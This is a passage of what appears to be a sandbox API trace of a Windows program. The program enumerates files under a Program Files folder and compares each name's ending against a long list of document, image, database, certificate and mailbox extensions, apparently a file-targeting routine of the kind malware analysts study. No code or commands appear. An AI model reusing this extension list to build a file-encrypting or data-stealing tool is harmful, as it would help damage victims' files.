(lpString=".cfc") returned 4 [0183.360] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".cfm") returned 4 [0183.360] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".cfml") returned 5 [0183.361] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.361] lstrlenW (lpString=".cfu") returned 4 [0183.361] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".chm") returned 4 [0183.361] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".cin") returned 4 [0183.361] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".class") returned 6 [0183.361] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.361] lstrlenW (lpString=".clx") returned 4 [0183.361] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".config") returned 7 [0183.361] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.361] lstrlenW (lpString=".cpp") returned 4 [0183.361] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".cr2") returned 4 [0183.361] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".crt") returned 4 [0183.361] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".crw") returned 4 [0183.361] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".cs") returned 3 [0183.361] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.361] lstrlenW (lpString=".css") returned 4 [0183.361] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".csv") returned 4 [0183.361] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".cub") returned 4 [0183.361] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.361] lstrlenW (lpString=".dae") returned 4 [0183.361] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dat") returned 4 [0183.362] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".db") returned 3 [0183.362] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.362] lstrlenW (lpString=".dbf") returned 4 [0183.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dbx") returned 4 [0183.362] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dc3") returned 4 [0183.362] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dcm") returned 4 [0183.362] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dcr") returned 4 [0183.362] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".der") returned 4 [0183.362] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dib") returned 4 [0183.362] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dic") returned 4 [0183.362] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".dif") returned 4 [0183.362] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".divx") returned 5 [0183.362] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.362] lstrlenW (lpString=".djvu") returned 5 [0183.362] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.362] lstrlenW (lpString=".dng") returned 4 [0183.362] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".doc") returned 4 [0183.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.362] lstrlenW (lpString=".docm") returned 5 [0183.363] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.363] lstrlenW (lpString=".docx") returned 5 [0183.363] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.363] lstrlenW (lpString=".dot") returned 4 [0183.363] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dotm") returned 5 [0183.363] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.363] lstrlenW (lpString=".dotx") returned 5 [0183.363] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.363] lstrlenW (lpString=".dpx") returned 4 [0183.363] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dqy") returned 4 [0183.363] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dsn") returned 4 [0183.363] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dt") returned 3 [0183.363] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.363] lstrlenW (lpString=".dtd") returned 4 [0183.363] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dwg") returned 4 [0183.363] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dwt") returned 4 [0183.363] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".dx") returned 3 [0183.363] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.363] lstrlenW (lpString=".dxf") returned 4 [0183.363] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".edml") returned 5 [0183.363] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.363] lstrlenW (lpString=".efd") returned 4 [0183.363] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".elf") returned 4 [0183.363] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.363] lstrlenW (lpString=".emf") returned 4 [0183.364] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".emz") returned 4 [0183.364] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".epf") returned 4 [0183.364] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".eps") returned 4 [0183.364] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".epsf") returned 5 [0183.364] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.364] lstrlenW (lpString=".epsp") returned 5 [0183.364] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.364] lstrlenW (lpString=".erf") returned 4 [0183.364] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".exr") returned 4 [0183.364] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".f4v") returned 4 [0183.364] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".fido") returned 5 [0183.364] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.364] lstrlenW (lpString=".flm") returned 4 [0183.364] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".flv") returned 4 [0183.364] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".frm") returned 4 [0183.364] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".fxg") returned 4 [0183.364] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".geo") returned 4 [0183.364] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".gif") returned 4 [0183.364] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.364] lstrlenW (lpString=".grs") returned 4 [0183.364] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".gz") returned 3 [0183.365] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.365] lstrlenW (lpString=".h") returned 2 [0183.365] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.365] lstrlenW (lpString=".hdr") returned 4 [0183.365] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".hpp") returned 4 [0183.365] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".hta") returned 4 [0183.365] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".htc") returned 4 [0183.365] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".htm") returned 4 [0183.365] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".html") returned 5 [0183.365] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0183.365] lstrlenW (lpString=".icb") returned 4 [0183.365] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".ics") returned 4 [0183.365] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".iff") returned 4 [0183.365] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".inc") returned 4 [0183.365] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".indd") returned 5 [0183.365] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0183.365] lstrlenW (lpString=".ini") returned 4 [0183.365] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".iqy") returned 4 [0183.365] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".j2c") returned 4 [0183.365] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0183.365] lstrlenW (lpString=".j2k") returned 4 [0183.366] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".java") returned 5 [0183.366] lstrcmpiW (lpString1=".java", lpString2="e.xml") returned -1 [0183.366] lstrlenW (lpString=".jp2") returned 4 [0183.366] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".jpc") returned 4 [0183.366] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".jpe") returned 4 [0183.366] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".jpeg") returned 5 [0183.366] lstrcmpiW (lpString1=".jpeg", lpString2="e.xml") returned -1 [0183.366] lstrlenW (lpString=".jpf") returned 4 [0183.366] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".jpg") returned 4 [0183.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".jpx") returned 4 [0183.366] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".js") returned 3 [0183.366] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0183.366] lstrlenW (lpString=".jsf") returned 4 [0183.366] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".json") returned 5 [0183.366] lstrcmpiW (lpString1=".json", lpString2="e.xml") returned -1 [0183.366] lstrlenW (lpString=".jsp") returned 4 [0183.366] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".kdc") returned 4 [0183.366] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".kmz") returned 4 [0183.366] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".kwm") returned 4 [0183.366] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0183.366] lstrlenW (lpString=".lasso") returned 6 [0183.366] lstrcmpiW (lpString1=".lasso", lpString2="de.xml") returned -1 [0183.366] lstrlenW (lpString=".lbi") returned 4 [0183.367] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".lgf") returned 4 [0183.367] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".lgp") returned 4 [0183.367] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".log") returned 4 [0183.367] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".m1v") returned 4 [0183.367] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".m4a") returned 4 [0183.367] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".m4v") returned 4 [0183.367] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".max") returned 4 [0183.367] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".md") returned 3 [0183.367] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0183.367] lstrlenW (lpString=".mda") returned 4 [0183.367] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mdb") returned 4 [0183.367] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mde") returned 4 [0183.367] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mdf") returned 4 [0183.367] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mdw") returned 4 [0183.367] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mef") returned 4 [0183.367] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mft") returned 4 [0183.367] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mfw") returned 4 [0183.367] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0183.367] lstrlenW (lpString=".mht") returned 4 [0183.368] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mhtml") returned 6 [0183.368] lstrcmpiW (lpString1=".mhtml", lpString2="de.xml") returned -1 [0183.368] lstrlenW (lpString=".mka") returned 4 [0183.368] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mkidx") returned 6 [0183.368] lstrcmpiW (lpString1=".mkidx", lpString2="de.xml") returned -1 [0183.368] lstrlenW (lpString=".mkv") returned 4 [0183.368] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mos") returned 4 [0183.368] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mov") returned 4 [0183.368] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mp3") returned 4 [0183.368] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mp4") returned 4 [0183.368] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mpeg") returned 5 [0183.368] lstrcmpiW (lpString1=".mpeg", lpString2="e.xml") returned -1 [0183.368] lstrlenW (lpString=".mpg") returned 4 [0183.368] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mpv") returned 4 [0183.368] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mrw") returned 4 [0183.368] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".msg") returned 4 [0183.368] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".mxl") returned 4 [0183.368] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".myd") returned 4 [0183.368] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".myi") returned 4 [0183.368] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0183.368] lstrlenW (lpString=".nef") returned 4 [0183.369] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".nrw") returned 4 [0183.369] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".obj") returned 4 [0183.369] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".odb") returned 4 [0183.369] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".odc") returned 4 [0183.369] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".odm") returned 4 [0183.369] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".odp") returned 4 [0183.369] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".ods") returned 4 [0183.369] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".oft") returned 4 [0183.369] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".one") returned 4 [0183.369] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".onepkg") returned 7 [0183.369] lstrcmpiW (lpString1=".onepkg", lpString2="ade.xml") returned -1 [0183.369] lstrlenW (lpString=".onetoc2") returned 8 [0183.369] lstrcmpiW (lpString1=".onetoc2", lpString2="rade.xml") returned -1 [0183.369] lstrlenW (lpString=".opt") returned 4 [0183.369] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".oqy") returned 4 [0183.369] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".orf") returned 4 [0183.369] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".p12") returned 4 [0183.369] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".p7b") returned 4 [0183.369] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0183.369] lstrlenW (lpString=".p7c") returned 4 [0183.370] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pam") returned 4 [0183.370] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pbm") returned 4 [0183.370] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pct") returned 4 [0183.370] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pcx") returned 4 [0183.370] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pdd") returned 4 [0183.370] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pdf") returned 4 [0183.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pdp") returned 4 [0183.370] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pef") returned 4 [0183.370] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pem") returned 4 [0183.370] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pff") returned 4 [0183.370] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pfm") returned 4 [0183.370] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pfx") returned 4 [0183.370] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".pgm") returned 4 [0183.370] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".php") returned 4 [0183.370] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0183.370] lstrlenW (lpString=".php3") returned 5 [0183.371] lstrcmpiW (lpString1=".php3", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".php4") returned 5 [0183.371] lstrcmpiW (lpString1=".php4", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".php5") returned 5 [0183.371] lstrcmpiW (lpString1=".php5", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".phtml") returned 6 [0183.371] lstrcmpiW (lpString1=".phtml", lpString2="de.xml") returned -1 [0183.371] lstrlenW (lpString=".pict") returned 5 [0183.371] lstrcmpiW (lpString1=".pict", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".pl") returned 3 [0183.371] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0183.371] lstrlenW (lpString=".pls") returned 4 [0183.371] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".pm") returned 3 [0183.371] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0183.371] lstrlenW (lpString=".png") returned 4 [0183.371] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".pnm") returned 4 [0183.371] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".pot") returned 4 [0183.371] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".potm") returned 5 [0183.371] lstrcmpiW (lpString1=".potm", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".potx") returned 5 [0183.371] lstrcmpiW (lpString1=".potx", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".ppa") returned 4 [0183.371] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".ppam") returned 5 [0183.371] lstrcmpiW (lpString1=".ppam", lpString2="e.xml") returned -1 [0183.371] lstrlenW (lpString=".ppm") returned 4 [0183.371] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".pps") returned 4 [0183.371] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0183.371] lstrlenW (lpString=".ppsm") returned 5 [0183.372] lstrcmpiW (lpString1=".ppsm", lpString2="e.xml") returned -1 [0183.372] lstrlenW (lpString=".ppt") returned 4 [0183.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".pptm") returned 5 [0183.372] lstrcmpiW (lpString1=".pptm", lpString2="e.xml") returned -1 [0183.372] lstrlenW (lpString=".pptx") returned 5 [0183.372] lstrcmpiW (lpString1=".pptx", lpString2="e.xml") returned -1 [0183.372] lstrlenW (lpString=".prn") returned 4 [0183.372] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".ps") returned 3 [0183.372] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0183.372] lstrlenW (lpString=".psb") returned 4 [0183.372] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".psd") returned 4 [0183.372] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".pst") returned 4 [0183.372] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".ptx") returned 4 [0183.372] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".pub") returned 4 [0183.372] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".pwm") returned 4 [0183.372] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".pxr") returned 4 [0183.372] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0183.372] lstrlenW (lpString=".py") returned 3 [0183.372] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0183.372] lstrlenW (lpString=".qt") returned 3 [0183.372] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0183.372] lstrlenW (lpString=".r3d") returned 4 [0183.373] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0183.373] lstrlenW (lpString=".raf") returned 4 [0183.373] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0183.373] lstrlenW (lpString=".rar") returned 4 [0183.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.373] lstrlenW (lpString=".raw") returned 4 [0183.373] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0183.373] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.373] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.373] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.373] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.374] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0183.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.377] FindNextFileW (in: hFindFile=0x484b58, 